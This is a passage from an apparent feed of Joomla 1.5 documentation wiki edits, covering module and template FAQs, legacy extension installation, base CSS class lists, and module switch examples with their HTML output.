To make a custom module, go to the module manager and then click on &amp;quot;new.&amp;quot; This will give you a detailed list of existing modules. Look for &amp;quot;Custom html.&amp;quot; Select this, and then click on next.&lt;br /&gt;
&lt;br /&gt;
===How do I set global preferences for content?===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Global preferences in content are set in the article manager.&lt;br /&gt;
&lt;br /&gt;
In the backend, go to Content&amp;gt;Article manager.&lt;br /&gt;
&lt;br /&gt;
On the tool bar, second from the right, there is the preferences icon.&lt;br /&gt;
&lt;br /&gt;
Click that and set your global preferences.&lt;br /&gt;
&lt;br /&gt;
===Why won&#039;t my legacy extension install?===&lt;br /&gt;
&lt;br /&gt;
Although Joomla! 1.5 allows backward compatability with 1.0 extensions, there are some times when a 1.0 extension does not install or work as intended.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Below are some suggestions to make them work.&lt;br /&gt;
* Make sure you have enabled the legacy mode in your plugin manager.&lt;br /&gt;
* Joomla! 1.5 requires strict XML whereas Joomla! 1.0.x did not. Look at the XML file (there is one in every extension) and see if there are any problems. The most common problem seems to be the character &amp;amp; which needs to be replaced with &amp;amp; a m p; (remove the spaces!). Any other special characters also need to be replaced in this way. There are numerous sources on the web that can show you how to translate special characters.&lt;br /&gt;
* Read your error messages. :) Although some are complicated, many involve simple things. For example in many places things that used to be named beginning with the string &amp;quot;mos&amp;quot; now have new names (usually the same, but with the mos deleted). If your error messages say mosSomething not found go edit the file and take off the mos.&lt;br /&gt;
* Related to that, if your error message says file not found, see if the file has been moved to a new directory.&lt;br /&gt;
* If these do not work try going to the homepage for the extension (these can be found in the listings in JED). Many people are trying to do the same thing you are, so you will probably get some useful advice.&lt;br /&gt;
&lt;br /&gt;
If you do get an extension work by making any of these or other changes, the nice thing to do is to send a message to the extension&#039;s developer so that the patches can be available to others.&lt;br /&gt;
&lt;br /&gt;
[[Category:FAQ]]&lt;/div&gt;</summary>
		<author><name>Igeoffi</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=J1.5:Template_FAQs&amp;diff=9561</id>
		<title>J1.5:Template FAQs</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=J1.5:Template_FAQs&amp;diff=9561"/>
		<updated>2008-07-27T22:12:26Z</updated>

		<summary type="html">&lt;p&gt;Igeoffi: add to faq category&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{review}}&lt;br /&gt;
&lt;br /&gt;
===What is a template?===&lt;br /&gt;
&lt;br /&gt;
The [[Template]] controls the overall look and layout of your site. It provides the framework that brings together common elements, [[Modules|modules]] and [[Components|components]] as well as providing the [[CSS|cascading style sheet]] for your site. Both the [[Front-end]] (Site) and the [[Back-end]] (Administrator) of your site have templates.&lt;br /&gt;
&lt;br /&gt;
When Joomla! is installed several templates are automatically included. You can find many more templates at other websites. Some are available without charge under various licenses, and some are for sale. In addition, there are many designers available who can make custom templates. You can also [[Joomla! 1.5 Template Tutorials Project|make your own template]].&lt;br /&gt;
&lt;br /&gt;
Templates are managed with the [[Template Manager]], which is located on the site menu on the Back-end of your site.&lt;br /&gt;
&lt;br /&gt;
The following may be helpful in understanding templates:&lt;br /&gt;
* http://help.joomla.org/content/view/474/153/&lt;br /&gt;
&lt;br /&gt;
===How do I install a new template?===&lt;br /&gt;
&#039;&#039;&#039;1.0&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
In the [[Back-end]]  of the site, go to [[Installer]]s&amp;gt;&amp;gt;Templates-Site (or Templates-Administrator if you are installing an administrator template).&lt;br /&gt;
&lt;br /&gt;
Browse for the template zip file and click &#039;&#039;Upload File&#039;&#039; and &#039;&#039;Install&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
Alternatively, you can install from a directory.&lt;br /&gt;
&lt;br /&gt;
To make the new template the default template for your site, go to the [[Template Manager]] (Site&amp;gt;&amp;gt;Template Manager&amp;gt;&amp;gt;Site Templates).&lt;br /&gt;
You should see the name of your new template on the list of templates.&lt;br /&gt;
&lt;br /&gt;
Select it and click on the default icon if you want it to be the default icon for your site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.5&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
In the [[Back-end]] of the site, go to [[Extension]]s&amp;gt;&amp;gt;Install/Uninstall.&lt;br /&gt;
&lt;br /&gt;
Browse for the template zip file and click Upload File and Install.&lt;br /&gt;
&lt;br /&gt;
Alternatively, you can install from a directory.&lt;br /&gt;
&lt;br /&gt;
To make the new template the default template for your site, select it and click the default icon (star).&lt;br /&gt;
&lt;br /&gt;
===How do I modify a template?===&lt;br /&gt;
Templates are just a series of xml, php, html and image files that are stored in the templates directory of your site.&lt;br /&gt;
You can edit these files or you can use the editing interface available in the [[Template Manager]].&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.0&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
In the [[Back-end]], select Site&amp;gt;&amp;gt;Template Manager&amp;gt;&amp;gt;Site Templates.&lt;br /&gt;
&lt;br /&gt;
Select the template you wish to modify.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.5&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
In the [[Back-end]], select Site&amp;gt;&amp;gt;[[Extension]]s&amp;gt;&amp;gt;Templates.&lt;br /&gt;
Select the template you wish to modify.&lt;br /&gt;
Click the edit icon.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;both&#039;&#039;&#039;&lt;br /&gt;
You are given the choice of editing &amp;quot;html&amp;quot; and &amp;quot;css.&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
[[CSS]] stands for cascading style sheets. This controls many elements of the look and feel of your site.&lt;br /&gt;
[[HTML]] is the file that controls where positions are defined and positioned. Other than that, it should be noted that, with a few exceptions, what is in the .css and what is in the HTML files largely depends on the approach of the tempate designer.&lt;br /&gt;
&lt;br /&gt;
One common change is to use your own graphic/image. Graphics are linked to in the HTML file. Simply change the reference to the image of your choice. Keep in mind that it if it is a different size than the original image this may change the appearance of the site in unexpected ways.&lt;br /&gt;
&lt;br /&gt;
===How do I assign a template to a specific page?===&lt;br /&gt;
&lt;br /&gt;
In Joomla! there is a default template, but you can assign other templates to specific &amp;quot;pages&amp;quot; that are defined by menu links.&lt;br /&gt;
&lt;br /&gt;
To assign a template to a page, you must first make sure that there is a direct menu link to the page.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.0&#039;&#039;&#039;&lt;br /&gt;
* Go to Site&amp;gt;&amp;gt;[[Template Manager]]&amp;gt;&amp;gt;Site Templates&lt;br /&gt;
* Select the template you wish to assign.&lt;br /&gt;
* Click on the assign icon.&lt;br /&gt;
* On the right, there will be a list with all of the possible pages the template can be assigned to. Select one or more pages and save.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.5&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Go to [[Extension]]s&amp;gt;&amp;gt;[[Template Manager]]&lt;br /&gt;
* Select the Template and click the edit icon (or click the template name)&lt;br /&gt;
* In the left column, change &amp;quot;None&amp;quot; to &amp;quot;Select from List.&amp;quot;&lt;br /&gt;
* Select the links you want to apply the template to.&lt;br /&gt;
* Save&lt;br /&gt;
&lt;br /&gt;
Note that you cannot assign the default template to individual pages.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Understanding&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The templating system uses the [[ItemID]] to determine which template to show. ItemIDs are created when you create a menu link. This is why only menu items are shown in the list of pages to which you can assign templates.&lt;br /&gt;
&lt;br /&gt;
===What are the base Joomla! CSS styles?===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.0&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Provided by Haaris&lt;br /&gt;
&lt;br /&gt;
 /**com_contact**/&lt;br /&gt;
  .componentheading&lt;br /&gt;
  .contentpane&lt;br /&gt;
  .contentdescription&lt;br /&gt;
  .sectiontableheader&lt;br /&gt;
  .category&lt;br /&gt;
  .small&lt;br /&gt;
  .contentpane&lt;br /&gt;
  .contentheading&lt;br /&gt;
  .contact_email&lt;br /&gt;
  .inputbox&lt;br /&gt;
  .button&lt;br /&gt;
&lt;br /&gt;
 /**com_content**/&lt;br /&gt;
  .componentheading&lt;br /&gt;
  .contentpane&lt;br /&gt;
  .contentdescription&lt;br /&gt;
  .inputbox&lt;br /&gt;
  .sectiontableheader&lt;br /&gt;
  .sectiontableentry1&lt;br /&gt;
  .sectiontableentry2&lt;br /&gt;
  .sectiontablefooter&lt;br /&gt;
  .blogsection&lt;br /&gt;
  .contentpaneopen&lt;br /&gt;
  .article_seperator&lt;br /&gt;
  .contentheading&lt;br /&gt;
  .contentpagetitle&lt;br /&gt;
  .buttonheading&lt;br /&gt;
  .small&lt;br /&gt;
  .createdate&lt;br /&gt;
  .modifydate&lt;br /&gt;
  .readon&lt;br /&gt;
  .pagenav_prev&lt;br /&gt;
  .pagenav_next&lt;br /&gt;
  .adminform&lt;br /&gt;
  .button&lt;br /&gt;
  .text_area&lt;br /&gt;
  .blog&lt;br /&gt;
  .blog_more&lt;br /&gt;
&lt;br /&gt;
 /**com_login**/&lt;br /&gt;
  .contentpane&lt;br /&gt;
  .componentheading&lt;br /&gt;
  .inputbox&lt;br /&gt;
  .button&lt;br /&gt;
&lt;br /&gt;
 /**com_newsfeeds**/&lt;br /&gt;
  .componentheading&lt;br /&gt;
  .contentpane&lt;br /&gt;
  .contentdescription&lt;br /&gt;
  .sectiontableheader&lt;br /&gt;
  .category&lt;br /&gt;
  .small&lt;br /&gt;
  .contentheading&lt;br /&gt;
&lt;br /&gt;
 /**com_poll**/&lt;br /&gt;
  .componentheading&lt;br /&gt;
  .contentpane&lt;br /&gt;
  .pollstableborder&lt;br /&gt;
  .sectiontableheader&lt;br /&gt;
  .smalldark&lt;br /&gt;
  .button&lt;br /&gt;
  .inputbox&lt;br /&gt;
&lt;br /&gt;
 /**com_registration**/&lt;br /&gt;
  .componentheading&lt;br /&gt;
  .contentpane&lt;br /&gt;
  .inputbox&lt;br /&gt;
  .button&lt;br /&gt;
&lt;br /&gt;
 /**com_search**/&lt;br /&gt;
  .componentheading&lt;br /&gt;
  .contentpaneopen&lt;br /&gt;
  .inputbox&lt;br /&gt;
  .button&lt;br /&gt;
  .searchintro&lt;br /&gt;
  .small&lt;br /&gt;
  .highlight&lt;br /&gt;
&lt;br /&gt;
 /**com_user**/&lt;br /&gt;
  .componentheading&lt;br /&gt;
  .inputbox&lt;br /&gt;
  .button&lt;br /&gt;
  .row1&lt;br /&gt;
  .row2&lt;br /&gt;
&lt;br /&gt;
 /**com_weblinks**/&lt;br /&gt;
  .componentheading&lt;br /&gt;
  .contentpane&lt;br /&gt;
  .contentdescription&lt;br /&gt;
  .sectiontableheader&lt;br /&gt;
  .tabclass1&lt;br /&gt;
  .tabclass2&lt;br /&gt;
  .small&lt;br /&gt;
  .category&lt;br /&gt;
  .inputbox&lt;br /&gt;
&lt;br /&gt;
 /**com_wrapper**/&lt;br /&gt;
  .contentpane&lt;br /&gt;
  .componentheading&lt;br /&gt;
  .wrapper&lt;br /&gt;
&lt;br /&gt;
 /**includes/frontend**/&lt;br /&gt;
  .moduletable&lt;br /&gt;
  .newsfeed&lt;br /&gt;
  .module&lt;br /&gt;
  .message&lt;br /&gt;
&lt;br /&gt;
 /**includes\HTML_toolbar  .php**/&lt;br /&gt;
  .toolbar&lt;br /&gt;
&lt;br /&gt;
 /**includes\joomla  .php**/&lt;br /&gt;
  .profiler&lt;br /&gt;
  .item&lt;br /&gt;
  .small&lt;br /&gt;
  .back_button&lt;br /&gt;
  .buttonheading&lt;br /&gt;
  .tab-page&lt;br /&gt;
  .tab&lt;br /&gt;
  .inputbox&lt;br /&gt;
&lt;br /&gt;
 /**includes\joomla  .xml  .php**/&lt;br /&gt;
  .paramlist&lt;br /&gt;
  .editlinktip&lt;br /&gt;
  .text_area&lt;br /&gt;
  .inputbox&lt;br /&gt;
&lt;br /&gt;
 /**includes\pageNavigation  .php**/&lt;br /&gt;
  .inputbox&lt;br /&gt;
  .pagenav&lt;br /&gt;
&lt;br /&gt;
 /**includes\pathway  .php**/&lt;br /&gt;
  .pathway&lt;br /&gt;
&lt;br /&gt;
 /**includes\js\dtree\dtree  .js**/&lt;br /&gt;
  .dtree&lt;br /&gt;
  .dTreeNode&lt;br /&gt;
  .node&lt;br /&gt;
  .clip&lt;br /&gt;
&lt;br /&gt;
 /**includes\patTemplate\tmpl\forms  .html**/&lt;br /&gt;
  .message&lt;br /&gt;
  .tooltip&lt;br /&gt;
  .tab-page&lt;br /&gt;
  .tab&lt;br /&gt;
  .expander&lt;br /&gt;
&lt;br /&gt;
 /**mambots\content\mosimage  .php**/&lt;br /&gt;
  .mosimage_caption&lt;br /&gt;
  .mosimage&lt;br /&gt;
&lt;br /&gt;
 /**mambots\content\mospaging  .php**/&lt;br /&gt;
  .pagenavcounter&lt;br /&gt;
  .pagenavbar&lt;br /&gt;
  .contenttoc&lt;br /&gt;
  .toclink&lt;br /&gt;
&lt;br /&gt;
 /**mambots\content\mosvote  .php**/&lt;br /&gt;
  .content_rating&lt;br /&gt;
  .content_vote&lt;br /&gt;
  .button&lt;br /&gt;
&lt;br /&gt;
 /**modules\mod_latestnews  .php**/&lt;br /&gt;
  .latestnews&lt;br /&gt;
&lt;br /&gt;
 /**modules\mod_login  .php**/&lt;br /&gt;
  .button&lt;br /&gt;
  .inputbox&lt;br /&gt;
&lt;br /&gt;
 /**modules\mod_mostread  .php**/&lt;br /&gt;
  .mostread&lt;br /&gt;
&lt;br /&gt;
 /**modules\mod_mostread  .php**/&lt;br /&gt;
  .poll&lt;br /&gt;
  .pollstableborder&lt;br /&gt;
  .button&lt;br /&gt;
&lt;br /&gt;
 /**modules\mod_mostread  .php**/&lt;br /&gt;
  .syndicate&lt;br /&gt;
  .syndicate_text&lt;br /&gt;
&lt;br /&gt;
 /**modules\mod_search  .php**/&lt;br /&gt;
  .inputbox&lt;br /&gt;
  .button&lt;br /&gt;
  .search&lt;br /&gt;
&lt;br /&gt;
Provided by Compass:&lt;br /&gt;
&lt;br /&gt;
 #active_menu&lt;br /&gt;
 #blockrandom&lt;br /&gt;
 #contact_email_copy&lt;br /&gt;
 #contact_text&lt;br /&gt;
 #emailForm&lt;br /&gt;
 #mod_login_password&lt;br /&gt;
 #mod_login_remember&lt;br /&gt;
 #mod_login_username&lt;br /&gt;
 #poll&lt;br /&gt;
 #search_ordering&lt;br /&gt;
 #search_searchword&lt;br /&gt;
 #searchphraseall&lt;br /&gt;
 #searchphraseany&lt;br /&gt;
 #searchphraseexact&lt;br /&gt;
 #voteid1, #voteid2&lt;br /&gt;
  .adminform&lt;br /&gt;
  .article_seperator&lt;br /&gt;
  .back_button&lt;br /&gt;
  .blog&lt;br /&gt;
  .blog_more&lt;br /&gt;
  .blogsection&lt;br /&gt;
  .button&lt;br /&gt;
  .buttonheading&lt;br /&gt;
  .category&lt;br /&gt;
  .clr&lt;br /&gt;
  .componentheading&lt;br /&gt;
  .contact_email&lt;br /&gt;
  .content_rating&lt;br /&gt;
  .content_vote&lt;br /&gt;
  .contentdescription&lt;br /&gt;
  .contentheading&lt;br /&gt;
  .contentpagetitle&lt;br /&gt;
  .contentpane&lt;br /&gt;
  .contentpaneopen&lt;br /&gt;
  .contenttoc&lt;br /&gt;
  .createdate&lt;br /&gt;
  .fase4rdf&lt;br /&gt;
  .footer&lt;br /&gt;
  .frontpageheader&lt;br /&gt;
  .inputbox&lt;br /&gt;
  .latestnews&lt;br /&gt;
  .mainlevel&lt;br /&gt;
  .message&lt;br /&gt;
  .modifydate&lt;br /&gt;
  .module&lt;br /&gt;
  .moduletable&lt;br /&gt;
  .mostread&lt;br /&gt;
  .newsfeed&lt;br /&gt;
  .newsfeeddate&lt;br /&gt;
  .newsfeedheading&lt;br /&gt;
  .pagenav&lt;br /&gt;
  .pagenav_next&lt;br /&gt;
  .pagenav_prev&lt;br /&gt;
  .pagenavbar&lt;br /&gt;
  .pagenavcounter&lt;br /&gt;
  .pathway&lt;br /&gt;
  .polls&lt;br /&gt;
  .pollsborder&lt;br /&gt;
  .pollstableborder&lt;br /&gt;
  .readon&lt;br /&gt;
  .readon:hover&lt;br /&gt;
  .search&lt;br /&gt;
  .searchintro&lt;br /&gt;
  .sectionentry1&lt;br /&gt;
  .sectionentry2&lt;br /&gt;
  .sectionheader&lt;br /&gt;
  .sitetitle&lt;br /&gt;
  .small&lt;br /&gt;
  .smalldark&lt;br /&gt;
  .sublevel&lt;br /&gt;
  .syndicate&lt;br /&gt;
  .syndicate_text&lt;br /&gt;
  .text_area&lt;br /&gt;
  .toclink&lt;br /&gt;
  .weblinks&lt;br /&gt;
  .wrapper&lt;br /&gt;
&lt;br /&gt;
===What are module switches?  (or -1 -2 and -3) ===&lt;br /&gt;
This is how you apply the switches:&lt;br /&gt;
&lt;br /&gt;
; &amp;lt;nowiki&amp;gt;switch: -1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
: Strips all surrounding code from the module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;?php mosLoadModules ( &#039;user1&#039;, -1 ); ?&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The outputted html code looks like this:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;user1_inner&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;ul class=&amp;quot;latestnews&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;li class=&amp;quot;latestnews&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;a href=&amp;quot;http://localhost/projects/1112rc2/index.php?option=com_content&amp;amp;task=view&amp;amp;id=3&amp;amp;Itemid=9&amp;quot;    &lt;br /&gt;
  class=&amp;quot;latestnews&amp;quot;&amp;gt;Newsflash 2&lt;br /&gt;
  &amp;lt;/a&amp;gt;&lt;br /&gt;
  &amp;lt;/li&amp;gt;&lt;br /&gt;
   &amp;lt;li class=&amp;quot;latestnews&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;a href=&amp;quot;http://localhost/projects/1112rc2/index.php?option=com_content&amp;amp;task=view&amp;amp;id=4&amp;amp;Itemid=9&amp;quot;  &lt;br /&gt;
  class=&amp;quot;latestnews&amp;quot;&amp;gt;Newsflash 3&lt;br /&gt;
  &amp;lt;/a&amp;gt;&lt;br /&gt;
  &amp;lt;/li&amp;gt;&lt;br /&gt;
  &amp;lt;li class=&amp;quot;latestnews&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;a href=&amp;quot;http://localhost/projects/1112rc2/index.php?option=com_content&amp;amp;task=view&amp;amp;id=2&amp;amp;Itemid=9&amp;quot; &lt;br /&gt;
  class=&amp;quot;latestnews&amp;quot;&amp;gt;Newsflash 1&lt;br /&gt;
  &amp;lt;/a&amp;gt;&lt;br /&gt;
  &amp;lt;/li&amp;gt;&lt;br /&gt;
  &amp;lt;li class=&amp;quot;latestnews&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;a href=&amp;quot;http://localhost/projects/1112rc2/index.php?option=com_content&amp;amp;task=view&amp;amp;id=9&amp;amp;Itemid=2&amp;quot; &lt;br /&gt;
  class=&amp;quot;latestnews&amp;quot;&amp;gt;&lt;br /&gt;
  Example News Item 4&lt;br /&gt;
  &amp;lt;/a&amp;gt;&lt;br /&gt;
  &amp;lt;/li&amp;gt;&lt;br /&gt;
  &amp;lt;li class=&amp;quot;latestnews&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;a href=&amp;quot;http://localhost/projects/1112rc2/index.php?option=com_content&amp;amp;task=view&amp;amp;id=7&amp;amp;Itemid=2&amp;quot; &lt;br /&gt;
  class=&amp;quot;latestnews&amp;quot;&amp;gt;       &lt;br /&gt;
  Example News Item 2&lt;br /&gt;
  &amp;lt;/a&amp;gt;&lt;br /&gt;
  &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
; &amp;lt;nowiki&amp;gt;switch: -2&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
: Puts the module&#039;s title in a h3, and wraps the entire thing in a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;?php mosLoadModules ( &#039;user1&#039;, -2 ); ?&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
The outputted html code looks like this:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;div class=&amp;quot;moduletable&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;h3&amp;gt;Latest News&amp;lt;/h3&amp;gt;&lt;br /&gt;
 &amp;lt;ul class=&amp;quot;latestnews&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;li class=&amp;quot;latestnews&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;a href=&amp;quot;http://localhost/projects/1112rc2/index.php?option=com_content&amp;amp;task=view&amp;amp;id=4&amp;amp;Itemid=9&amp;quot; &lt;br /&gt;
   class=&amp;quot;latestnews&amp;quot;&amp;gt;Newsflash 3&lt;br /&gt;
   &amp;lt;/a&amp;gt;&lt;br /&gt;
   &amp;lt;/li&amp;gt;&lt;br /&gt;
   &amp;lt;li class=&amp;quot;latestnews&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;a href=&amp;quot;http://localhost/projects/1112rc2/index.php?option=com_content&amp;amp;task=view&amp;amp;id=2&amp;amp;Itemid=9&amp;quot; &lt;br /&gt;
   class=&amp;quot;latestnews&amp;quot;&amp;gt;Newsflash 1&lt;br /&gt;
   &amp;lt;/a&amp;gt;&lt;br /&gt;
   &amp;lt;/li&amp;gt;&lt;br /&gt;
   &amp;lt;li class=&amp;quot;latestnews&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;a href=&amp;quot;http://localhost/projects/1112rc2/index.php?option=com_content&amp;amp;task=view&amp;amp;id=3&amp;amp;Itemid=9&amp;quot;  &lt;br /&gt;
   class=&amp;quot;latestnews&amp;quot;&amp;gt;Newsflash 2&lt;br /&gt;
   &amp;lt;/a&amp;gt;&lt;br /&gt;
   &amp;lt;/li&amp;gt;&lt;br /&gt;
   &amp;lt;li class=&amp;quot;latestnews&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;a href=&amp;quot;http://localhost/projects/1112rc2/index.php?option=com_content&amp;amp;task=view&amp;amp;id=6&amp;amp;Itemid=2&amp;quot;&lt;br /&gt;
   class=&amp;quot;latestnews&amp;quot;&amp;gt;Example News Item 1&lt;br /&gt;
   &amp;lt;/a&amp;gt;&lt;br /&gt;
   &amp;lt;/li&amp;gt;&lt;br /&gt;
   &amp;lt;li class=&amp;quot;latestnews&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;a href=&amp;quot;http://localhost/projects/1112rc2/index.php?option=com_content&amp;amp;task=view&amp;amp;id=9&amp;amp;Itemid=2&amp;quot; &lt;br /&gt;
   class=&amp;quot;latestnews&amp;quot;&amp;gt;Example News Item 4&lt;br /&gt;
   &amp;lt;/a&amp;gt;&lt;br /&gt;
   &amp;lt;/li&amp;gt;&lt;br /&gt;
 &amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;&amp;lt;nowiki&amp;gt;switch: -3&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
:Puts the module&#039;s title in a h3, and ads several layers of divs that can be used to apply [[CSS]] techniques with [[Rounded corners|rounded corners]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;?php mosLoadModules ( &#039;user1&#039;, -3 ); ?&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
The outputted code looks like this:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;div class=&amp;quot;module&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;div&amp;gt;&lt;br /&gt;
 &amp;lt;div&amp;gt;&lt;br /&gt;
 &amp;lt;div&amp;gt;&lt;br /&gt;
 &amp;lt;h3&amp;gt;Latest News&amp;lt;/h3&amp;gt;&lt;br /&gt;
 &amp;lt;ul class=&amp;quot;latestnews&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;li class=&amp;quot;latestnews&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;a href=&amp;quot;http://localhost/projects/1112rc2/index.php?option=com_content&amp;amp;task=view&amp;amp;id=4&amp;amp;Itemid=9&amp;quot;      &lt;br /&gt;
   class=&amp;quot;latestnews&amp;quot;&amp;gt;Newsflash 3&lt;br /&gt;
   &amp;lt;/a&amp;gt;&lt;br /&gt;
   &amp;lt;/li&amp;gt;&lt;br /&gt;
   &amp;lt;li class=&amp;quot;latestnews&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;a href=&amp;quot;http://localhost/projects/1112rc2/index.php?option=com_content&amp;amp;task=view&amp;amp;id=2&amp;amp;Itemid=9&amp;quot; &lt;br /&gt;
   class=&amp;quot;latestnews&amp;quot;&amp;gt;Newsflash 1&lt;br /&gt;
   &amp;lt;/a&amp;gt;&lt;br /&gt;
   &amp;lt;/li&amp;gt;&lt;br /&gt;
   &amp;lt;li class=&amp;quot;latestnews&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;a href=&amp;quot;http://localhost/projects/1112rc2/index.php?option=com_content&amp;amp;task=view&amp;amp;id=3&amp;amp;Itemid=9&amp;quot; &lt;br /&gt;
   class=&amp;quot;latestnews&amp;quot;&amp;gt;&lt;br /&gt;
   Newsflash 2 &amp;lt;/a&amp;gt; &amp;lt;/li&amp;gt;&lt;br /&gt;
   &amp;lt;li class=&amp;quot;latestnews&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;a href=&amp;quot;http://localhost/projects/1112rc2/index.php?option=com_content&amp;amp;task=view&amp;amp;id=6&amp;amp;Itemid=2&amp;quot; &lt;br /&gt;
   class=&amp;quot;latestnews&amp;quot;&amp;gt;&lt;br /&gt;
   Example News Item 1&lt;br /&gt;
   &amp;lt;/a&amp;gt;&lt;br /&gt;
   &amp;lt;/li&amp;gt;&lt;br /&gt;
   &amp;lt;li class=&amp;quot;latestnews&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;a href=&amp;quot;http://localhost/projects/1112rc2/index.php?option=com_content&amp;amp;task=view&amp;amp;id=9&amp;amp;Itemid=2&amp;quot; &lt;br /&gt;
   class=&amp;quot;latestnews&amp;quot;&amp;gt;&lt;br /&gt;
   Example News Item 4&lt;br /&gt;
   &amp;lt;/a&amp;gt;&lt;br /&gt;
   &amp;lt;/li&amp;gt;&lt;br /&gt;
 &amp;lt;/ul&amp;gt;&lt;br /&gt;
 &amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If there is no switch at all:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;?php mosLoadModules ( &#039;user1&#039;); ?&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The outputted code looks like this:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;table class=&amp;quot;moduletable&amp;quot; border=&amp;quot;0&amp;quot; cellpadding=&amp;quot;0&amp;quot; cellspacing=&amp;quot;0&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;tbody&amp;gt;&lt;br /&gt;
     &amp;lt;tr&amp;gt;&lt;br /&gt;
       &amp;lt;th valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
      Latest News&lt;br /&gt;
       &amp;lt;/th&amp;gt;&lt;br /&gt;
     &amp;lt;/tr&amp;gt;&lt;br /&gt;
     &amp;lt;tr&amp;gt;&lt;br /&gt;
       &amp;lt;td&amp;gt;&lt;br /&gt;
       &amp;lt;ul class=&amp;quot;latestnews&amp;quot;&amp;gt;&lt;br /&gt;
         &amp;lt;li class=&amp;quot;latestnews&amp;quot;&amp;gt;&lt;br /&gt;
         &amp;lt;a href=&amp;quot;http://localhost/projects/1112rc2/index.php?option=com_content&amp;amp;task=view&amp;amp;id=4&amp;amp;Itemid=9&amp;quot;&lt;br /&gt;
         class=&amp;quot;latestnews&amp;quot;&amp;gt;Newsflash 3&lt;br /&gt;
         &amp;lt;/a&amp;gt;&lt;br /&gt;
         &amp;lt;/li&amp;gt;&lt;br /&gt;
         &amp;lt;li class=&amp;quot;latestnews&amp;quot;&amp;gt;&lt;br /&gt;
